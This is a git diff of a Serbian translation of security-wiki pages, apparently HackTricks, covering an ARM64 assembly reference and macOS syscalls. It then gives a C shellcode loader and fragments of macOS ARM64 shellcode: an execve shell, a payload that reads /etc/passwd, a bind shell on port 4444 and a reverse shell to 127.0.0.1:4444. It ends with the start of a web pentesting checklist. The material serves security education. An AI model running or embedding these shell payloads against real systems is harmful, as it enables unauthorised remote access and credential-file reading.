iz X2 počevši od 3. bita u X1 +- **`BFXIL X1, X2, #3, #4`** Ekstrahuje iz 3. bita X2 četiri bita i kopira ih u X1 +- **`SBFIZ X1, X2, #3, #4`** Sign-extends 4 bita iz X2 i umešta ih u X1 počevši od pozicije 3, nulteći desne bitove +- **`SBFX X1, X2, #3, #4`** Ekstrahuje 4 bita počevši od bita 3 iz X2, sign-extends ih i postavlja rezultat u X1 +- **`UBFIZ X1, X2, #3, #4`** Zero-extends 4 bita iz X2 i umešta ih u X1 počevši od pozicije 3, nulteći desne bitove +- **`UBFX X1, X2, #3, #4`** Ekstrahuje 4 bita počevši od bita 3 iz X2 i smešta zero-extended rezultat u X1. +- **Sign Extend To X:** Proširuje znak (ili dodaje 0-ice u unsigned verziji) vrednosti da bi se mogle izvršiti operacije: +- **`SXTB X1, W2`** Proširuje znak bajta iz `W2` u `X1` ( `W2` je polovina `X2`) da popuni 64 bita +- **`SXTH X1, W2`** Proširuje znak 16-bitnog broja iz `W2` u `X1` da popuni 64 bita +- **`SXTW X1, W2`** Proširuje znak iz `W2` u `X1` da popuni 64 bita +- **`UXTB X1, W2`** Dodaje 0-ice (unsigned) na bajt iz `W2` u `X1` da popuni 64 bita +- **`extr`**: Ekstrahuje bitove iz specificiranog para registara koji su konkatenirani. +- Primer: `EXTR W3, W2, W1, #3` Ovo će konkatenirati W1+W2 i uzeti od bita 3 W2 do bita 3 W1 i smestiti u W3. +- **`cmp`**: **Uporedi** dva registra i postavi condition flag-ove. To je alias od `subs` postavljajući destinacioni registar na zero registar. Korisno da se zna da li je `m == n`. +- Podržava istu sintaksu kao `subs` +- Primer: `cmp x0, x1` — Upoređuje vrednosti u `x0` i `x1` i postavlja condition flag-ove u skladu s tim. +- **`cmn`**: **Compare negative** operand. U ovom slučaju je alias od `adds` i podržava istu sintaksu. Korisno da se zna da li je `m == -n`. +- **`ccmp`**: Conditional comparison, poređenje koje će se izvršiti samo ako je prethodno poređenje bilo tačno i specifično postavi nzcv bitove. +- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> ako x1 != x2 i x3 < x4, skoči na func +- Ovo zato što će se **`ccmp`** izvršiti samo ako je prethodni `cmp` bio `NE`; ako nije, bitovi `nzcv` će biti postavljeni na 0 (što neće zadovoljiti `blt` poređenje). +- Ovo se takođe može koristiti kao `ccmn` (isto ali negativno, kao `cmp` vs `cmn`). +- **`tst`**: Proverava da li su neki od bitova oba operanda 1 (radi kao `ANDS` bez skladištenja rezultata). Koristan za proveru registra sa maskom. +- Primer: `tst X1, #7` Proverava da li je bilo koji od poslednja 3 bita X1 postavljen +- **`teq`**: XOR operacija odbacujući rezultat +- **`b`**: Neuslovni branch +- Primer: `b myFunction` +- Napomena: ovo neće popuniti link registar adresom povratka (nije pogodno za subroutine pozive koji moraju da se vrate) +- **`bl`**: **Branch** with link, koristi se za **pozivanje** subrutine. Smešta **adresu povratka u `x30`**. +- Primer: `bl myFunction` — Poziva funkciju `myFunction` i smešta adresu povratka u `x30`. +- Napomena: ovo neće popuniti link registar adresom povratka (nije pogodno za subroutine pozive koji moraju da se vrate) +- **`blr`**: **Branch** with Link to Register, koristi se za **pozivanje** subrutine gde je cilj **specificiran u registru**. Smešta adresu povratka u `x30`. +- Primer: `blr x1` — Poziva funkciju čija je adresa u `x1` i smešta adresu povratka u `x30`. +- **`ret`**: **Povratak** iz subrutine, tipično koristeći adresu u **`x30`**. +- Primer: `ret` — Vraća se iz trenutne subrutine koristeći adresu povratka u `x30`. +- **`b.`**: Uslovni branch-ovi +- **`b.eq`**: **Branch ako je jednako**, na osnovu prethodnog `cmp` instrukcije. +- Primer: `b.eq label` — Ako je prethodni `cmp` našao dve jednake vrednosti, skoči na `label`. +- **`b.ne`**: **Branch ako nije jednako**. Ova instrukcija proverava condition flag-ove (koje je postavio prethodni cmp) i ako nisu jednaki, grana se. +- Primer: Nakon `cmp x0, x1`, `b.ne label` — Ako vrednosti u `x0` i `x1` nisu jednake, skoči na `label`. +- **`cbz`**: **Compare and Branch on Zero**. Upoređuje registar sa nulom, i ako je jednak, grana. +- Primer: `cbz x0, label` — Ako je vrednost u `x0` nula, skoči na `label`. +- **`cbnz`**: **Compare and Branch on Non-Zero**. Upoređuje registar sa nulom, i ako nije jednak, grana. +- Primer: `cbnz x0, label` — Ako je vrednost u `x0` različita od nule, skoči na `label`. +- **`tbnz`**: Test bit i branch na nonzero +- Primer: `tbnz x0, #8, label` +- **`tbz`**: Test bit i branch na zero +- Primer: `tbz x0, #8, label` +- **Conditional select operations**: Operacije čije se ponašanje menja u zavisnosti od condition bitova. +- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Ako je uslov istinit, X0 = X1, inače X0 = X2 +- `csinc Xd, Xn, Xm, cond` -> Ako je istinito, Xd = Xn, inače Xd = Xm + 1 +- `cinc Xd, Xn, cond` -> Ako je istinito, Xd = Xn + 1, inače Xd = Xn +- `csinv Xd, Xn, Xm, cond` -> Ako je istinito, Xd = Xn, inače Xd = NOT(Xm) +- `cinv Xd, Xn, cond` -> Ako je istinito, Xd = NOT(Xn), inače Xd = Xn +- `csneg Xd, Xn, Xm, cond` -> Ako je istinito, Xd = Xn, inače Xd = - Xm +- `cneg Xd, Xn, cond` -> Ako je istinito, Xd = - Xn, inače Xd = Xn +- `cset Xd, Xn, Xm, cond` -> Ako je istinito, Xd = 1, inače Xd = 0 +- `csetm Xd, Xn, Xm, cond` -> Ako je istinito, Xd = \, inače Xd = 0 +- **`adrp`**: Izračunaj **page adresu simbolа** i smesti je u registar. +- Primer: `adrp x0, symbol` — Izračunava page adresu `symbol` i smešta je u `x0`. +- **`ldrsw`**: **Učitaj** potpisani **32-bit** vrednost iz memorije i **sign-extend** je na 64 bita. +- Primer: `ldrsw x0, [x1]` — Učita potpisanu 32-bit vrednost sa memorijske lokacije na koju pokazuje `x1`, proširi je na 64 bita i smešta u `x0`. +- **`stur`**: **Smeštanje vrednosti registra u memoriju**, koristeći offset od drugog registra. +- Primer: `stur x0, [x1, #4]` — Smešta vrednost iz `x0` na memorijsku adresu koja je 4 bajta veća od adrese u `x1`. +- **`svc`** : Napravi **sistemski poziv**. Skraćenica od "Supervisor Call". Kada procesor izvrši ovu instrukciju, on **prelazi iz user moda u kernel mode** i skače na određenu lokaciju u memoriji gde je kod kernela za obradu sistemskih poziva. -- Пример: +- Primer: ```armasm -mov x8, 93 ; Учитај број системског позива за излаз (93) у регистар x8. -mov x0, 0 ; Учитај код статуса изласка (0) у регистар x0. -svc 0 ; Изврши системски позив. +mov x8, 93 ; Load the system call number for exit (93) into register x8. +mov x0, 0 ; Load the exit status code (0) into register x0. +svc 0 ; Make the system call. ``` -### **Пролог Функције** +### **Function Prologue** -1. **Сачувајте регистар за повратак и показивач оквира на стеку**: +1. **Sačuvajte link registar i frame pointer na stek**: ```armasm stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer ``` -2. **Postavite novi pokazivač okvira**: `mov x29, sp` (postavlja novi pokazivač okvira za trenutnu funkciju) -3. **Dodelite prostor na steku za lokalne promenljive** (ako je potrebno): `sub sp, sp, ` (gde je `` broj bajtova koji su potrebni) +2. **Podesi novi pokazivač okvira**: `mov x29, sp` (postavlja novi pokazivač okvira za trenutnu funkciju) +3. **Alociraj prostor na steku za lokalne promenljive** (ako je potrebno): `sub sp, sp, ` (gde je `` broj potrebnih bajtova) ### **Epilog funkcije** -1. **Dealokacija lokalnih promenljivih (ako su dodeljene)**: `add sp, sp, ` -2. **Obnovite registrator veze i pokazivač okvira**: +1. **Dealociraj lokalne promenljive (ako su alocirane)**: `add sp, sp, ` +2. **Vrati link registar i pokazivač okvira**: ```armasm ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer ``` -3. **Return**: `ret` (vraća kontrolu pozivaocu koristeći adresu u link registru) +3. **Povratak**: `ret` (vraća kontrolu pozivaocu koristeći adresu u link registru) -## AARCH32 Izvršna Stanja +## AARCH32 stanje izvršavanja -Armv8-A podržava izvršavanje 32-bitnih programa. **AArch32** može raditi u jednom od **dva skupa instrukcija**: **`A32`** i **`T32`** i može prebacivati između njih putem **`interworking`**.\ -**Privilegovani** 64-bitni programi mogu zakazati **izvršavanje 32-bitnih** programa izvršavanjem prenosa nivoa izuzetka na niže privilegovane 32-bitne.\ -Napomena da se prelazak sa 64-bitnog na 32-bitni dešava sa smanjenjem nivoa izuzetka (na primer, 64-bitni program u EL1 pokreće program u EL0). Ovo se postiže postavljanjem **bita 4** **`SPSR_ELx`** specijalnog registra **na 1** kada je `AArch32` procesna nit spremna za izvršavanje, a ostatak `SPSR_ELx` čuva **`AArch32`** programe CPSR. Zatim, privilegovani proces poziva **`ERET`** instrukciju tako da procesor prelazi na **`AArch32`** ulazeći u A32 ili T32 u zavisnosti od CPSR**.** +Armv8-A podržava izvršavanje 32-bitnih programa. **AArch32** može raditi u jednom od **dva skupa instrukcija**: **`A32`** i **`T32`** i može se prebacivati između njih putem **`interworking`**.\ +**Privilegovani** 64-bitni programi mogu rasporediti izvršavanje 32-bitnih programa tako što izvrše transfer nivoa izuzetka na niže privilegovan 32-bitni režim.\ +Obratite pažnju da tranzicija sa 64-bitnog na 32-bitni režim nastaje pri nižem nivou izuzetka (na primer, 64-bitni program u EL1 koji pokreće program u EL0). To se radi tako što se postavi **bit 4 od** **`SPSR_ELx`** specijalnog registra **na 1** kada je `AArch32` procesni thread spreman za izvršavanje, a ostatak `SPSR_ELx` čuva CPSR programa koji se izvršava u **`AArch32`**. Zatim privilegovani proces poziva instrukciju **`ERET`** tako da procesor pređe u **`AArch32`** ulazeći u A32 ili T32 u zavisnosti od CPSR**.** -**`Interworking`** se dešava korišćenjem J i T bitova CPSR. `J=0` i `T=0` znači **`A32`** i `J=0` i `T=1` znači **T32**. Ovo se u suštini prevodi na postavljanje **najnižeg bita na 1** da označi da je skup instrukcija T32.\ -Ovo se postavlja tokom **interworking grana instrukcija,** ali se takođe može postaviti direktno sa drugim instrukcijama kada je PC postavljen kao registar odredišta. Primer: +The **`interworking`** occurs using the J and T bits of CPSR. `J=0` and `T=0` means **`A32`** and `J=0` and `T=1` means **T32**. This basically traduces on setting the **lowest bit to 1** to indicate the instruction set is T32.\ +Ovo se postavlja tokom **interworking branch instrukcija**, ali se može postaviti i direktno drugim instrukcijama kada je PC postavljen kao destinacioni registar. Primer: -Još jedan primer: +Another example: ```armasm _start: .code 32 ; Begin using A32 @@ -262,62 +265,62 @@ bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32) mov r0, #0 mov r0, #8 ``` -### Registar +### Registri -Postoji 16 32-bitnih registara (r0-r15). **Od r0 do r14** mogu se koristiti za **bilo koju operaciju**, međutim neki od njih su obično rezervisani: +Postoji 16 32-bitnih registara (r0-r15). **Od r0 do r14** mogu se koristiti za **bilo koju operaciju**, međutim neki su obično rezervisani: -- **`r15`**: Program counter (uvek). Sadrži adresu sledeće instrukcije. U A32 trenutni + 8, u T32, trenutni + 4. -- **`r11`**: Frame Pointer -- **`r12`**: Intra-proceduralni pozivni registar -- **`r13`**: Stack Pointer -- **`r14`**: Link Register +- **`r15`**: Programski brojač (uvek). Sadrži adresu sledeće instrukcije. U A32 current + 8, u T32, current + 4. +- **`r11`**: Pokazivač okvira (Frame Pointer) +- **`r12`**: Registar za intra-procedural pozive +- **`r13`**: Pokazivač steka (Napomena: stek je uvek poravnat na 16 bajtova) +- **`r14`**: Link registar -Pored toga, registri su podržani u **`banked registries`**. To su mesta koja čuvaju vrednosti registara, omogućavajući **brzo prebacivanje konteksta** u obradi izuzetaka i privilegovanih operacija kako bi se izbegla potreba za ručnim čuvanjem i vraćanjem registara svaki put.\ -To se postiže **čuvanjem stanja procesora iz `CPSR` u `SPSR`** režima procesora u kojem se izuzetak dešava. Kada se izuzetak vrati, **`CPSR`** se vraća iz **`SPSR`**. +Pored toga, registri se čuvaju u **`banked registries`**. To su mesta koja skladište vrednosti registara i omogućavaju **brzo prebacivanje konteksta** pri obradi izuzetaka i privilegovanih operacija, kako bi se izbegla potreba za ručnim čuvanjem i vraćanjem registara svaki put. +Ovo se radi tako što se **stanje procesora iz `CPSR` sačuva u `SPSR`** mod-a procesora u koji je izuzetak preusmeren. Prilikom povratka iz izuzetka, **`CPSR`** se vraća iz **`SPSR`**. ### CPSR - Registar trenutnog statusa programa -U AArch32 CPSR funkcioniše slično **`PSTATE`** u AArch64 i takođe se čuva u **`SPSR_ELx`** kada se izuzetak dešava kako bi se kasnije obnovila izvršenja: +U AArch32, CPSR funkcioniše slično kao **`PSTATE`** u AArch64 i takođe se čuva u **`SPSR_ELx`** kada se desi izuzetak da bi se kasnije izvršavanje vratilo:
Polja su podeljena u nekoliko grupa: -- Registar statusa aplikacionog programa (APSR): Aritmetičke zastavice i dostupne iz EL0 -- Registar stanja izvršenja: Ponašanje procesa (upravlja OS). +- Application Program Status Register (APSR): aritmetičke zastavice i dostupan iz EL0 +- Execution State Registers: ponašanje procesa (upravlja OS). -#### Registar statusa aplikacionog programa (APSR) +#### Application Program Status Register (APSR) -- Zastavice **`N`**, **`Z`**, **`C`**, **`V`** (poput AArch64) -- Zastavica **`Q`**: Postavlja se na 1 kada **dođe do saturacije celih brojeva** tokom izvršenja specijalizovane aritmetičke instrukcije. Kada se postavi na **`1`**, zadržaće tu vrednost dok se ručno ne postavi na 0. Pored toga, ne postoji nijedna instrukcija koja implicitno proverava njenu vrednost, to se mora uraditi čitanjem ručno. -- Zastavice **`GE`** (Veće ili jednako): Koriste se u SIMD (Jedna instrukcija, više podataka) operacijama, kao što su "paralelno sabiranje" i "paralelno oduzimanje". Ove operacije omogućavaju obradu više tačaka podataka u jednoj instrukciji. +- Zastavice **`N`**, **`Z`**, **`C`**, **`V`** (isto kao u AArch64) +- Zastavica **`Q`**: Postavlja se na 1 kad god se desi saturacija celih brojeva tokom izvršavanja specijalizovane saturirajuće aritmetičke instrukcije. Kada je postavljena na **`1`**, zadržaće tu vrednost dok se ručno ne postavi na 0. Pored toga, ne postoji instrukcija koja implicitno proverava njenu vrednost — mora se pročitati ručno. +- **`GE`** (Greater than or equal) zastavice: Koriste se u SIMD (Single Instruction, Multiple Data) operacijama, kao što su "parallel add" i "parallel subtract". Ove operacije omogućavaju obradu više podatkovnih elemenata u jednoj instrukciji. -Na primer, instrukcija **`UADD8`** **sabira četiri para bajtova** (iz dva 32-bitna operanda) paralelno i čuva rezultate u 32-bitnom registru. Zatim **postavlja `GE` zastavice u `APSR`** na osnovu ovih rezultata. Svaka GE zastavica odgovara jednom od sabiranja bajtova, ukazujući da li je sabiranje za taj par bajtova **prelilo**. +Na primer, instrukcija **`UADD8`** sabira četiri para bajtova (iz dva 32-bitna operanda) paralelno i skladišti rezultate u 32-bitni registar. Zatim postavlja **`GE`** zastavice u **`APSR`** na osnovu tih rezultata. Svaka GE zastavica odgovara jednom od sabiranja bajtova, označavajući da li je sabiranje za taj par bajtova **prelilo**. Instrukcija **`SEL`** koristi ove GE zastavice za izvođenje uslovnih akcija. -#### Registri stanja izvršenja +#### Execution State Registers -- Bitovi **`J`** i **`T`**: **`J`** treba da bude 0, a ako je **`T`** 0, koristi se skup instrukcija A32, a ako je 1, koristi se T32. -- **IT Block State Register** (`ITSTATE`): Ovo su bitovi od 10-15 i 25-26. Čuvaju uslove za instrukcije unutar grupe sa prefiksom **`IT`**. -- Bit **`E`**: Ukazuje na **endianness**. -- Bitovi za režim i masku izuzetaka (0-4): Određuju trenutno stanje izvršenja. **5.** označava da li program radi kao 32bit (1) ili 64bit (0). Ostala 4 predstavljaju **režim izuzetka koji se trenutno koristi** (kada se izuzetak dešava i obrađuje). Broj postavljen **ukazuje na trenutni prioritet** u slučaju da se drugi izuzetak pokrene dok se ovaj obrađuje. +- Bitovi **`J`** i **`T`**: **`J`** treba da bude 0, a ako je **`T`** 0 koristi se instrukcijski skup A32, a ako je 1 koristi se T32. +- IT Block State Register (`ITSTATE`): To su bitovi 10-15 i 25-26. Oni čuvaju uslove za instrukcije unutar grupe prefiksirane sa **`IT`**. +- Bit **`E`**: označava redosled bajtova (endianness). +- Mode i Exception Mask bitovi (0-4): Određuju trenutno stanje izvršavanja. Peti bit ukazuje da li program radi kao 32bit (1) ili 64bit (0). Ostala četiri predstavljaju mod izuzetka koji se trenutno koristi (kad se izuzetak dogodi i obrađuje). Postavljeni broj označava trenutni prioritet u slučaju da se pokrene drugi izuzetak dok se ovaj obrađuje.
-- **`AIF`**: Određeni izuzeci mogu biti onemogućeni korišćenjem bitova **`A`**, `I`, `F`. Ako je **`A`** 1, to znači da će biti pokrenuti **asinkroni aborti**. **`I`** konfiguriše odgovor na spoljne hardverske **Interrupts Requests** (IRQs). a F se odnosi na **Fast Interrupt Requests** (FIRs). +- **`AIF`**: Određeni izuzeci mogu biti onemogućeni korišćenjem bitova **`A`**, `I`, `F`. Ako je **`A`** 1, to znači da će biti pokrenuti **asynchronous aborts**. **`I`** konfiguriše odgovor na spoljne hardverske zahteve za prekid (Interrupt Requests, IRQs). A **F** se odnosi na **Fast Interrupt Requests** (FIRs). ## macOS ### BSD syscalls -Pogledajte [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). BSD syscalls će imati **x16 > 0**. +Pogledajte [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) ili pokrenite `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h`. BSD syscalls će imati **x16 > 0**. ### Mach Traps -Pogledajte u [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) `mach_trap_table` i u [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) prototipove. Maksimalan broj Mach traps je `MACH_TRAP_TABLE_COUNT` = 128. Mach traps će imati **x16 < 0**, tako da treba da pozovete brojeve iz prethodne liste sa **minusom**: **`_kernelrpc_mach_vm_allocate_trap`** je **`-10`**. +Pogledajte u [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) `mach_trap_table` i u [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) prototipove. Maksimalan broj Mach traps je `MACH_TRAP_TABLE_COUNT` = 128. Mach traps će imati **x16 < 0**, pa morate pozivati brojeve iz prethodne liste sa **minusom**: **`_kernelrpc_mach_vm_allocate_trap`** je **`-10`**. -Takođe možete proveriti **`libsystem_kernel.dylib`** u disassembleru da biste saznali kako da pozovete ove (i BSD) syscalls: +Takođe možete pregledati **`libsystem_kernel.dylib`** u disassembleru da biste pronašli kako pozvati ove (i BSD) syscalls: ```bash # macOS dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e @@ -325,32 +328,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib # iOS dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 ``` -Napomena da **Ida** i **Ghidra** takođe mogu dekompilirati **specifične dylibs** iz keša jednostavno prolazeći kroz keš. +Note that **Ida** and **Ghidra** can also decompile **specific dylibs** from the cache just by passing the cache. > [!TIP] -> Ponekad je lakše proveriti **dekompilirani** kod iz **`libsystem_kernel.dylib`** **nego** proveravati **izvorni kod** jer se kod nekoliko syscalls (BSD i Mach) generiše putem skripti (proverite komentare u izvoru) dok u dylib-u možete pronaći šta se poziva. +> Ponekad je lakše proveriti **dekompilovani** kod iz **`libsystem_kernel.dylib`** **nego** proveravati **izvorni kod** jer se kod nekoliko sistemskih poziva (BSD i Mach) generiše putem skripti (pogledajte komentare u izvornom kodu), dok u dylib-u možete pronaći šta se zapravo poziva. -### machdep pozivi +### machdep calls -XNU podržava još jedan tip poziva koji se naziva zavistan od mašine. Broj ovih poziva zavisi od arhitekture i ni pozivi ni brojevi nisu garantovani da ostanu konstantni. +XNU podržava drugi tip poziva nazvan machine dependent. Brojevi ovih poziva zavise od arhitekture i ni pozivi ni brojevi nisu zagarantovani da ostanu konstantni. -### comm stranica +### comm page -Ovo je stranica memorije vlasnika jezgra koja je mapirana u adresni prostor svakog korisničkog procesa. Namenjena je da ubrza prelazak iz korisničkog moda u kernel prostor brže nego korišćenje syscalls za kernel usluge koje se toliko koriste da bi ovaj prelazak bio veoma neefikasan. +Ovo je kernel-owned memorijska stranica koja je mapirana u adresni prostor svakog korisničkog procesa. Namenjena je da ubrza prelaz iz user mode-a u kernel space brže nego korišćenje sistemskih poziva za kernel servise koji se toliko često koriste da bi taj prelaz bio veoma neefikasan. -Na primer, poziv `gettimeofdate` čita vrednost `timeval` direktno sa comm stranice. +Na primer poziv `gettimeofdate` čita vrednost `timeval` direktno iz comm page-a. ### objc_msgSend -Veoma je uobičajeno pronaći ovu funkciju korišćenu u Objective-C ili Swift programima. Ova funkcija omogućava pozivanje metode objekta Objective-C. +Veoma je često pronaći ovu funkciju u programima pisanima u Objective-C ili Swift. Ova funkcija omogućava pozivanje metode Objective-C objekta. -Parametri ([više informacija u dokumentaciji](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): +Parameters ([more info in the docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): - x0: self -> Pokazivač na instancu -- x1: op -> Selektor metode -- x2... -> Ostatak argumenata pozvane metode +- x1: op -> Selector metode +- x2... -> Ostali argumenti pozvane metode -Dakle, ako stavite breakpoint pre grananja na ovu funkciju, lako možete pronaći šta se poziva u lldb (u ovom primeru objekat poziva objekat iz `NSConcreteTask` koji će izvršiti komandu): +Dakle, ako postavite breakpoint pre grane ka ovoj funkciji, možete lako otkriti šta se poziva u lldb pomoću (u ovom primeru objekat poziva objekat iz `NSConcreteTask` koji će izvršiti komandu): ```bash # Right in the line were objc_msgSend will be called (lldb) po $x0 @@ -369,31 +372,31 @@ whoami ) ``` > [!TIP] -> Postavljanjem env varijable **`NSObjCMessageLoggingEnabled=1`** moguće je logovati kada se ova funkcija poziva u datoteci kao što je `/tmp/msgSends-pid`. +> Podešavanjem env promenljive **`NSObjCMessageLoggingEnabled=1`** moguće je zabeležiti kada se ova funkcija pozove u fajlu kao što je `/tmp/msgSends-pid`. > -> Pored toga, postavljanjem **`OBJC_HELP=1`** i pozivanjem bilo kog binarnog fajla možete videti druge varijable okruženja koje možete koristiti da **log** kada se određene Objc-C akcije dešavaju. +> Nadalje, podešavanjem **`OBJC_HELP=1`** i pokretanjem bilo kog binarnog fajla možeš videti druge environment promenljive koje možeš koristiti da **zabeležiš** kada se određene Objc-C akcije dese. -Kada se ova funkcija pozove, potrebno je pronaći pozvanu metodu označene instance, za to se vrše različite pretrage: +Kada se ova funkcija pozove, potrebno je pronaći metod koji je pozvan za datu instancu; za to se izvode različite pretrage: -- Izvršiti optimističku pretragu u kešu: -- Ako je uspešno, gotovo -- Zauzeti runtimeLock (čitanje) -- Ako (realize && !cls->realized) realizovati klasu -- Ako (initialize && !cls->initialized) inicijalizovati klasu -- Pokušati keš vlastite klase: -- Ako je uspešno, gotovo -- Pokušati listu metoda klase: -- Ako je pronađeno, popuniti keš i gotovo -- Pokušati keš nadklase: -- Ako je uspešno, gotovo -- Pokušati listu metoda nadklase: -- Ako je pronađeno, popuniti keš i gotovo -- Ako (resolver) pokušati metodu resolvera, i ponoviti od pretrage klase -- Ako ste još ovde (= sve ostalo je propalo) pokušati forwarder +- Izvrši optimistic cache lookup: +- Ako uspe, gotovo +- Stekni runtimeLock (read) +- If (realize && !cls->realized) realize class +- If (initialize && !cls->initialized) initialize class +- Pokušaj class own cache: +- Ako uspe, gotovo +- Pokušaj class method list: +- Ako je pronađeno, popuni cache i gotovo +- Pokušaj superclass cache: +- Ako uspe, gotovo +- Pokušaj superclass method list: +- Ako je pronađeno, popuni cache i gotovo +- Ako (resolver) postoji, pokušaj method resolver i ponovi od class lookup +- Ako si i dalje ovde (= sve ostalo je propalo), pokušaj forwarder ### Shellcodes -Da biste kompajlirali: +Za kompajliranje: ```bash as -o shell.o shell.s ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib @@ -408,7 +411,7 @@ for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; echo -n '\\x'$c done ``` -Za novije macOS: +Za novije verzije macOS-a: ```bash # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do @@ -417,7 +420,7 @@ done ```
-C kod za testiranje shellcode-a +C code za testiranje shellcode ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader @@ -467,7 +470,7 @@ return 0; #### Shell -Preuzeto iz [**ovde**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) i objašnjeno. +Preuzeto sa [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) i objašnjeno. {{#tabs}} {{#tab name="with adr"}} @@ -537,9 +540,9 @@ sh_path: .asciz "/bin/sh" {{#endtab}} {{#endtabs}} -#### Čitaj sa cat +#### Pročitaj pomoću cat -Cilj je izvršiti `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, tako da je drugi argument (x1) niz parametara (što u memoriji znači stek adresa). +Cilj je da se izvrši `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, pa je drugi argument (x1) niz parametara (što u memoriji znači stack adresa). ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -565,7 +568,7 @@ cat_path: .asciz "/bin/cat" .align 2 passwd_path: .asciz "/etc/passwd" ``` -#### Pozovite komandu sa sh iz fork-a tako da glavni proces ne bude ubijen +#### Pozovi komandu sa sh iz fork-a tako da glavni proces ne bude ubijen ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -611,7 +614,7 @@ touch_command: .asciz "touch /tmp/lalala" ``` #### Bind shell -Bind shell sa [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) na **portu 4444** +Bind shell iz [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) na **port 4444** ```armasm .section __TEXT,__text .global _main @@ -695,7 +698,7 @@ svc #0x1337 ``` #### Reverse shell -Sa [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell na **127.0.0.1:4444** +Iz [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell na **127.0.0.1:4444** ```armasm .section __TEXT,__text .global _main diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 1645c8b10..e38ea9277 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -1,4 +1,4 @@ -# 80,443 - Pentesting Web metodologija +# 80,443 - Pentesting Web Metodologija {{#include ../../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ Web servis je **najčešći i najopsežniji servis** i postoji mnogo **različitih tipova ranjivosti**. -**Podrazumevani port:** 80 (HTTP), 443(HTTPS) +**Podrazumevani port:** 80 (HTTP), 443 (HTTPS) ```bash PORT STATE SERVICE 80/tcp open http @@ -17,7 +17,7 @@ PORT STATE SERVICE nc -v domain.com 80 # GET / HTTP/1.0 openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ``` -### Vodič za Web API +### Smernice za Web API {{#ref}} @@ -26,36 +26,36 @@ web-api-pentesting.md ## Sažetak metodologije -> U ovoj metodologiji pretpostavićemo da ćete napadati jedan domain (ili subdomain) i samo njega. Dakle, treba da primenite ovu metodologiju na svaki otkriven domain, subdomain ili IP sa nedefinisanim web serverom unutar opsega. +> U ovoj metodologiji pretpostavićemo da ćete napadati jedan domen (ili poddomen) i samo njega. Dakle, trebalo bi da primenite ovu metodologiju na svaki otkriveni domen, poddomen ili IP sa nedeterminisanom web server instancom u scope-u. -- [ ] Počnite sa **identifikacijom** **tehnologija** koje koristi web server. Potražite **trikove** koje treba imati na umu tokom ostatka testa ako uspete da identifikujete tehnologiju. +- [ ] Počnite sa **identifikovanjem** **tehnologija** koje koristi web server. Potražite **trikove** koje treba imati na umu tokom ostatka testa ako uspete da identifikujete tehnologiju. - [ ] Postoji li neka **poznata ranjivost** za verziju te tehnologije? -- [ ] Koristi li se neka **well known tech**? Postoji li neki **useful trick** za dobijanje više informacija? -- [ ] Postoji li neki **specialised scanner** za pokretanje (npr. wpscan)? -- [ ] Pokrenite **general purposes scanners**. Nikad ne znate hoće li pronaći nešto ili neke interesantne informacije. -- [ ] Počnite sa **initial checks**: **robots**, **sitemap**, **404** error i **SSL/TLS scan** (ako HTTPS). -- [ ] Počnite sa **spidering** web stranice: vreme je da **pronađete** sve moguće **files, folders** i **parameters being used.** Takođe, proverite za **special findings**. 